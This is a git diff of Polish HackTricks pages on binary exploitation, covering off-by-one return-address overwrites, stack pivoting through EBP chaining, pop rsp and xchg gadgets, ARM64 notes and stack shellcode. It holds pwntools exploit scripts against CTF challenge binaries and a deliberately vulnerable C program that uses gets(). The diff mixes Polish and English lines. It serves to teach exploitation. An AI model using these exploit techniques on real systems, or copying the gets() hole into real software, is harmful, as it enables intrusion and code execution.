@ -147,17 +148,17 @@ p.close()
|
|||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (1212).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
Możesz znaleźć kolejny przykład błędu o jeden w ARM64 w [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), który jest rzeczywistym błędem o jeden w fikcyjnej podatności.
|
||||
Możesz znaleźć inny przykład off-by-one w ARM64 w [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), który jest prawdziwym off-by-**one** w fikcyjnej podatności.
|
||||
|
||||
## Z PIE
|
||||
|
||||
{% hint style="success" %}
|
||||
Skompiluj binarny **bez argumentu `-no-pie`**
|
||||
Skompiluj binarny plik **bez argumentu `-no-pie`**
|
||||
{% endhint %}
|
||||
|
||||
### O jeden za daleko
|
||||
### Off-by-2
|
||||
|
||||
Bez wycieku nie znamy dokładnego adresu funkcji wygrywającej, ale możemy poznać przesunięcie funkcji względem binarnego i wiedząc, że adres powrotu, który nadpisujemy, już wskazuje na bliski adres, jest możliwe wycieknięcie przesunięcia do funkcji wygrywającej (**0x7d4**) w tym przypadku i po prostu użyć tego przesunięcia:
|
||||
Bez wycieku nie znamy dokładnego adresu funkcji wygrywającej, ale możemy znać offset funkcji od binarnego pliku, a wiedząc, że adres powrotu, który nadpisujemy, już wskazuje na bliski adres, możliwe jest wyciekanie offsetu do funkcji wygrywającej (**0x7d4**) w tym przypadku i po prostu użycie tego offsetu:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1213).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
```python
|
||||
|
@ -179,16 +180,17 @@ p.send(payload)
|
|||
print(p.recvline())
|
||||
p.close()
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i stań się ekspertem od hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną na HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,74 +1,75 @@
|
|||
# Stack Pivoting - EBP2Ret - EBP chaining
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
Ta technika wykorzystuje możliwość manipulacji **Wskaźnikiem Bazowym (EBP)** do łańcuchowego wykonywania wielu funkcji poprzez ostrożne wykorzystanie rejestru EBP i sekwencji instrukcji **`leave; ret`**.
|
||||
Ta technika wykorzystuje zdolność do manipulacji **wskaźnikiem bazowym (EBP)** w celu połączenia wykonania wielu funkcji poprzez staranne użycie rejestru EBP oraz sekwencji instrukcji **`leave; ret`**.
|
||||
|
||||
Jako przypomnienie, **`leave`** oznacza w zasadzie:
|
||||
Przypominając, **`leave`** zasadniczo oznacza:
|
||||
```
|
||||
mov ebp, esp
|
||||
pop ebp
|
||||
ret
|
||||
```
|
||||
I ponieważ **EBP znajduje się na stosie** przed EIP, możliwe jest jego kontrolowanie poprzez kontrolowanie stosu.
|
||||
And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack.
|
||||
|
||||
### EBP2Ret
|
||||
|
||||
Ta technika jest szczególnie przydatna, gdy można **zmienić rejestr EBP, ale nie ma bezpośredniego sposobu na zmianę rejestru EIP**. Wykorzystuje zachowanie funkcji po zakończeniu ich wykonywania.
|
||||
Ta technika jest szczególnie przydatna, gdy możesz **zmienić rejestr EBP, ale nie masz bezpośredniego sposobu na zmianę rejestru EIP**. Wykorzystuje zachowanie funkcji po zakończeniu ich wykonywania.
|
||||
|
||||
Jeśli podczas wykonywania `fvuln` uda ci się wstrzyknąć **fałszywy EBP** na stosie wskazujący na obszar w pamięci, gdzie znajduje się adres twojego shellcode'a (plus 4 bajty na operację `pop`), możesz pośrednio kontrolować EIP. Gdy `fvuln` zwraca, ESP jest ustawiane na ten spreparowany adres, a następna operacja `pop` zmniejsza ESP o 4 bajty, **skutecznie wskazując na adres przechowywany przez atakującego.**\
|
||||
Zauważ, że **musisz znać 2 adresy**: Ten, gdzie ma trafić ESP, gdzie będziesz musiał zapisać adres wskazywany przez ESP.
|
||||
Jeśli podczas wykonywania `fvuln` uda ci się wstrzyknąć **fałszywy EBP** na stos, który wskazuje na obszar w pamięci, gdzie znajduje się adres twojego shellcode (plus 4 bajty na operację `pop`), możesz pośrednio kontrolować EIP. Gdy `fvuln` zwraca, ESP jest ustawione na to skonstruowane miejsce, a następna operacja `pop` zmniejsza ESP o 4, **efektywnie wskazując na adres przechowywany przez atakującego.**\
|
||||
Zauważ, że **musisz znać 2 adresy**: Ten, na który ESP ma iść, gdzie będziesz musiał zapisać adres, na który wskazuje ESP.
|
||||
|
||||
#### Konstrukcja Exploitu
|
||||
#### Exploit Construction
|
||||
|
||||
Najpierw musisz znać **adres, gdzie możesz pisać dowolne dane / adresy**. ESP będzie wskazywał tutaj i **wykona pierwsze `ret`**.
|
||||
Najpierw musisz znać **adres, w którym możesz zapisać dowolne dane/adresy**. ESP będzie wskazywać tutaj i **wykona pierwsze `ret`**.
|
||||
|
||||
Następnie musisz znać adres używany przez `ret`, który **wykona kod dowolny**. Możesz użyć:
|
||||
Następnie musisz znać adres używany przez `ret`, który **wykona dowolny kod**. Możesz użyć:
|
||||
|
||||
* Prawidłowy adres [**ONE\_GADGET**](https://github.com/david942j/one\_gadget).
|
||||
* Adres **`system()`** po którym następuje **4 nieistotne bajty** i adres `"/bin/sh"` (bity x86).
|
||||
* Adres gadżetu **`jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) po którym następuje **shellcode** do wykonania.
|
||||
* Pewną łańcuch [**ROP**](../rop-return-oriented-programing/).
|
||||
* Ważny [**ONE\_GADGET**](https://github.com/david942j/one\_gadget) adres.
|
||||
* Adres **`system()`** po którym następują **4 bajty śmieci** i adres `"/bin/sh"` (x86 bits).
|
||||
* Adres **gadżetu `jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) po którym następuje **shellcode** do wykonania.
|
||||
* Jakiegoś łańcucha [**ROP**](../rop-return-oriented-programing/)
|
||||
|
||||
Pamiętaj, że przed każdym z tych adresów w kontrolowanej części pamięci muszą być **`4` bajty** ze względu na część **`pop`** instrukcji `leave`. Można byłoby wykorzystać te 4B, aby ustawić **drugiego fałszywego EBP** i kontynuować kontrolowanie wykonania.
|
||||
Pamiętaj, że przed którymkolwiek z tych adresów w kontrolowanej części pamięci muszą być **`4` bajty** z powodu **`pop`** w instrukcji `leave`. Możliwe byłoby wykorzystanie tych 4B do ustawienia **drugiego fałszywego EBP** i kontynuowania kontroli wykonania.
|
||||
|
||||
#### Exploit Off-By-One
|
||||
#### Off-By-One Exploit
|
||||
|
||||
Istnieje specyficzna wersja tej techniki znana jako "Exploit Off-By-One". Jest używana, gdy można **zmodyfikować tylko najmniej znaczący bajt EBP**. W takim przypadku lokalizacja pamięci przechowująca adres do skoku z **`ret`** musi dzielić trzy pierwsze bajty z EBP, co pozwala na podobną manipulację przy bardziej ograniczonych warunkach.\
|
||||
Zazwyczaj modyfikuje się bajt 0x00, aby skakać jak najdalej.
|
||||
Istnieje specyficzna odmiana tej techniki znana jako "Off-By-One Exploit". Jest używana, gdy możesz **zmodyfikować tylko najmniej znaczący bajt EBP**. W takim przypadku lokalizacja pamięci przechowująca adres, do którego należy skoczyć z **`ret`**, musi dzielić pierwsze trzy bajty z EBP, co pozwala na podobną manipulację w bardziej ograniczonych warunkach.\
|
||||
Zwykle modyfikowany jest bajt 0x00, aby skoczyć jak najdalej.
|
||||
|
||||
Ponadto, często stosuje się ślizgak `RET` na stosie i umieszcza prawdziwą łańcuch ROP na końcu, aby zwiększyć prawdopodobieństwo, że nowy ESP wskaże do środka RET SLED, a ostateczny łańcuch ROP zostanie wykonany.
|
||||
Ponadto, powszechnie używa się RET sled w stosie i umieszcza prawdziwy łańcuch ROP na końcu, aby zwiększyć prawdopodobieństwo, że nowy ESP wskazuje wewnątrz RET SLED, a końcowy łańcuch ROP jest wykonywany.
|
||||
|
||||
### **Łańcuchowanie EBP**
|
||||
### **EBP Chaining**
|
||||
|
||||
Dlatego umieszczenie kontrolowanego adresu w wpisie `EBP` na stosie i adresu `leave; ret` w `EIP` pozwala na **przeniesienie `ESP` do kontrolowanego adresu `EBP` ze stosu**.
|
||||
Dlatego umieszczając kontrolowany adres w wpisie `EBP` stosu i adres do `leave; ret` w `EIP`, możliwe jest **przeniesienie `ESP` do kontrolowanego adresu `EBP` ze stosu**.
|
||||
|
||||
Teraz **`ESP`** jest kontrolowany wskazując na pożądany adres, a następną instrukcją do wykonania jest `RET`. Aby wykorzystać to, można umieścić w kontrolowanym miejscu ESP to:
|
||||
Teraz **`ESP`** jest kontrolowane, wskazując na pożądany adres, a następna instrukcja do wykonania to `RET`. Aby to wykorzystać, można umieścić w kontrolowanym miejscu ESP to:
|
||||
|
||||
* **`&(następny fałszywy EBP)`** -> Wczytaj nowy EBP z powodu `pop ebp` z instrukcji `leave`
|
||||
* **`&(next fake EBP)`** -> Załaduj nowy EBP z powodu `pop ebp` z instrukcji `leave`
|
||||
* **`system()`** -> Wywołane przez `ret`
|
||||
* **`&(leave;ret)`** -> Wywołane po zakończeniu systemu, przeniesie ESP do fałszywego EBP i zacznie ponownie
|
||||
* **`&("/bin/sh")`**-> Parametr dla `system`
|
||||
|
||||
W ten sposób można łańcuchować kilka fałszywych EBPs, aby kontrolować przepływ programu.
|
||||
W zasadzie w ten sposób można łączyć kilka fałszywych EBP, aby kontrolować przepływ programu.
|
||||
|
||||
To jest jak [ret2lib](../rop-return-oriented-programing/ret2lib/), ale bardziej złożone bez oczywistej korzyści, ale może być interesujące w niektórych przypadkach skrajnych.
|
||||
To jest jak [ret2lib](../rop-return-oriented-programing/ret2lib/), ale bardziej skomplikowane bez oczywistych korzyści, ale może być interesujące w niektórych skrajnych przypadkach.
|
||||
|
||||
Ponadto, tutaj masz [**przykład wyzwania**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave), które wykorzystuje tę technikę z **wyciekiem stosu** do wywołania funkcji wygrywającej. To jest ostateczny ładunek ze strony:
|
||||
Ponadto, tutaj masz [**przykład wyzwania**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave), które wykorzystuje tę technikę z **wyciekiem stosu**, aby wywołać zwycięską funkcję. To jest końcowy ładunek z tej strony:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -104,12 +105,12 @@ pause()
|
|||
p.sendline(payload)
|
||||
print(p.recvline())
|
||||
```
|
||||
## EBP może nie być używany
|
||||
## EBP może nie być używane
|
||||
|
||||
Jak [**wyjaśniono w tym poście**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), jeśli binarny jest skompilowany z pewnymi optymalizacjami, **EBP nigdy nie kontroluje ESP**, dlatego też, każdy exploit działający poprzez kontrolę EBP zasadniczo zawiedzie, ponieważ nie ma on żadnego rzeczywistego efektu.\
|
||||
Dzieje się tak, ponieważ **prolog i epilog ulegają zmianie**, jeśli binarny jest zoptymalizowany.
|
||||
Jak [**wyjaśniono w tym poście**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), jeśli binarka jest kompilowana z pewnymi optymalizacjami, **EBP nigdy nie kontroluje ESP**, w związku z tym, każdy exploit działający poprzez kontrolowanie EBP zasadniczo nie powiedzie się, ponieważ nie ma rzeczywistego efektu.\
|
||||
Dzieje się tak, ponieważ **prolog i epilog zmieniają się**, jeśli binarka jest zoptymalizowana.
|
||||
|
||||
* **Niezoptymalizowany:**
|
||||
* **Nieoptymalizowane:**
|
||||
```bash
|
||||
push %ebp # save ebp
|
||||
mov %esp,%ebp # set new ebp
|
||||
|
@ -120,7 +121,7 @@ sub $0x100,%esp # increase stack size
|
|||
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
|
||||
ret # return
|
||||
```
|
||||
* **Zoptymalizowany:**
|
||||
* **Optymalizowane:**
|
||||
```bash
|
||||
push %ebx # save ebx
|
||||
sub $0x100,%esp # increase stack size
|
||||
|
@ -133,9 +134,9 @@ ret # return
|
|||
```
|
||||
## Inne sposoby kontrolowania RSP
|
||||
|
||||
### **Gadżet `pop rsp`**
|
||||
### **`pop rsp`** gadget
|
||||
|
||||
[**Na tej stronie**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) znajdziesz przykład użycia tej techniki. W tym wyzwaniu konieczne było wywołanie funkcji z 2 konkretnymi argumentami, a dostępny był **gadżet `pop rsp`** oraz **wyciek ze stosu**:
|
||||
[**Na tej stronie**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) znajdziesz przykład użycia tej techniki. W tym wyzwaniu konieczne było wywołanie funkcji z 2 konkretnymi argumentami, a tam był **`pop rsp` gadget** i był **leak ze stosu**:
|
||||
```python
|
||||
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
|
||||
# This version has added comments
|
||||
|
@ -179,7 +180,7 @@ pause()
|
|||
p.sendline(payload)
|
||||
print(p.recvline())
|
||||
```
|
||||
### urządzenie xchg \<reg>, rsp
|
||||
### xchg \<reg>, rsp gadget
|
||||
```
|
||||
pop <reg> <=== return pointer
|
||||
<reg value>
|
||||
|
@ -193,20 +194,20 @@ Sprawdź technikę ret2esp tutaj:
|
|||
[ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Odnośniki i Inne Przykłady
|
||||
## Odniesienia i inne przykłady
|
||||
|
||||
* [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
|
||||
* [https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html)
|
||||
* 64 bity, off by one exploitation z rop chain zaczynającą się od ret sled
|
||||
* 64 bity, exploatacja off by one z łańcuchem rop zaczynającym się od ret sled
|
||||
* [https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)
|
||||
* 64 bity, brak relro, canary, nx i pie. Program udostępnia wyciek dla stosu lub pie oraz WWW qword. Najpierw uzyskaj wyciek stosu i użyj WWW, aby wrócić i uzyskać wyciek pie. Następnie użyj WWW, aby utworzyć wieczną pętlę nadużywając wpisów `.fini_array` + wywołując `__libc_csu_fini` ([więcej informacji tutaj](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md)). Nadużywając tego "wiecznego" zapisu, zostaje napisana łańcuch ROP w .bss i kończy się jego wywołaniem, obracając z RBP.
|
||||
* 64 bity, brak relro, canary, nx i pie. Program umożliwia leak dla stosu lub pie i WWW dla qword. Najpierw uzyskaj leak stosu i użyj WWW, aby wrócić i uzyskać leak pie. Następnie użyj WWW, aby stworzyć wieczną pętlę, nadużywając wpisów `.fini_array` + wywołując `__libc_csu_fini` ([więcej informacji tutaj](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md)). Nadużywając tego "wiecznego" zapisu, zapisuje się łańcuch ROP w .bss i kończy wywołując go, pivotując z RBP.
|
||||
|
||||
## ARM64
|
||||
|
||||
W ARM64, **prologi i epilogi** funkcji **nie przechowują i nie przywracają rejestru SP** na stosie. Ponadto instrukcja **`RET`** nie zwraca do adresu wskazywanego przez SP, ale **do adresu wewnątrz `x30`**.
|
||||
W ARM64, **prologi i epilogi** funkcji **nie przechowują ani nie odzyskują rejestru SP** w stosie. Co więcej, instrukcja **`RET`** nie zwraca do adresu wskazywanego przez SP, ale **do adresu wewnątrz `x30`**.
|
||||
|
||||
Dlatego domyślnie, nadużywając tylko epilogu, **nie będziesz w stanie kontrolować rejestru SP** poprzez nadpisanie danych na stosie. Nawet jeśli uda ci się kontrolować SP, nadal potrzebujesz sposobu na **kontrolę rejestru `x30`**.
|
||||
Dlatego, domyślnie, nadużywając epilogu, **nie będziesz w stanie kontrolować rejestru SP** przez nadpisanie danych w stosie. A nawet jeśli uda ci się kontrolować SP, nadal potrzebujesz sposobu na **kontrolowanie rejestru `x30`**.
|
||||
|
||||
* prolog
|
||||
|
||||
|
@ -224,25 +225,26 @@ ret
|
|||
```
|
||||
|
||||
{% hint style="danger" %}
|
||||
Sposobem na wykonanie czegoś podobnego do obracania stosu w ARM64 byłoby umożliwienie **kontroli rejestru `SP`** (poprzez kontrolę jakiegoś rejestru, którego wartość jest przekazywana do `SP` lub dlatego, że z jakiegoś powodu `SP` pobiera swój adres ze stosu i mamy przepełnienie) a następnie nadużycie epilogu do wczytania rejestru **`x30`** z **kontrolowanego `SP`** i **`RET`** do niego.
|
||||
Sposobem na wykonanie czegoś podobnego do stack pivoting w ARM64 byłoby być w stanie **kontrolować `SP`** (poprzez kontrolowanie jakiegoś rejestru, którego wartość jest przekazywana do `SP` lub ponieważ z jakiegoś powodu `SP` bierze swój adres ze stosu i mamy overflow) i następnie **nadużyć epilogu**, aby załadować rejestr **`x30`** z **kontrolowanego `SP`** i **`RET`** do niego.
|
||||
{% endhint %}
|
||||
|
||||
Na następnej stronie możesz zobaczyć odpowiednik **Ret2esp w ARM64**:
|
||||
Również na następnej stronie możesz zobaczyć odpowiednik **Ret2esp w ARM64**:
|
||||
|
||||
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %}
|
||||
[ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,26 +1,27 @@
|
|||
# Kod Shellcode na stosie
|
||||
# Stack Shellcode
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
**Kod shellcode na stosie** to technika używana w **eksploatacji binarnej**, gdzie atakujący zapisuje shellcode do stosu podatnego programu, a następnie modyfikuje **Wskaźnik Instrukcji (IP)** lub **Rozszerzony Wskaźnik Instrukcji (EIP)**, aby wskazywał na lokalizację tego shellcode, powodując jego wykonanie. Jest to klasyczna metoda używana do uzyskania nieautoryzowanego dostępu lub wykonania dowolnych poleceń na systemie docelowym. Oto rozbudowanie procesu, w tym prosty przykład w języku C i sposób napisania odpowiadającego exploitu przy użyciu Pythona z **pwntools**.
|
||||
**Stack shellcode** to technika używana w **binary exploitation**, w której atakujący zapisuje shellcode na stosie podatnego programu, a następnie modyfikuje **Instruction Pointer (IP)** lub **Extended Instruction Pointer (EIP)**, aby wskazywał na lokalizację tego shellcode, co powoduje jego wykonanie. Jest to klasyczna metoda używana do uzyskania nieautoryzowanego dostępu lub wykonania dowolnych poleceń na docelowym systemie. Oto podział procesu, w tym prosty przykład w C oraz sposób, w jaki można napisać odpowiadający exploit w Pythonie z użyciem **pwntools**.
|
||||
|
||||
### Przykład w języku C: Podatny program
|
||||
### Przykład C: Podatny program
|
||||
|
||||
Zacznijmy od prostego przykładu podatnego programu w języku C:
|
||||
Zacznijmy od prostego przykładu podatnego programu w C:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
@ -36,22 +37,22 @@ printf("Returned safely\n");
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
Ten program jest podatny na przepełnienie bufora ze względu na użycie funkcji `gets()`.
|
||||
Ten program jest podatny na przepełnienie bufora z powodu użycia funkcji `gets()`.
|
||||
|
||||
### Kompilacja
|
||||
|
||||
Aby skompilować ten program wyłączając różne zabezpieczenia (aby zasymulować środowisko podatne na ataki), możesz użyć poniższej komendy:
|
||||
Aby skompilować ten program, wyłączając różne zabezpieczenia (aby zasymulować podatne środowisko), możesz użyć następującego polecenia:
|
||||
```sh
|
||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
```
|
||||
* `-fno-stack-protector`: Wyłącza ochronę stosu.
|
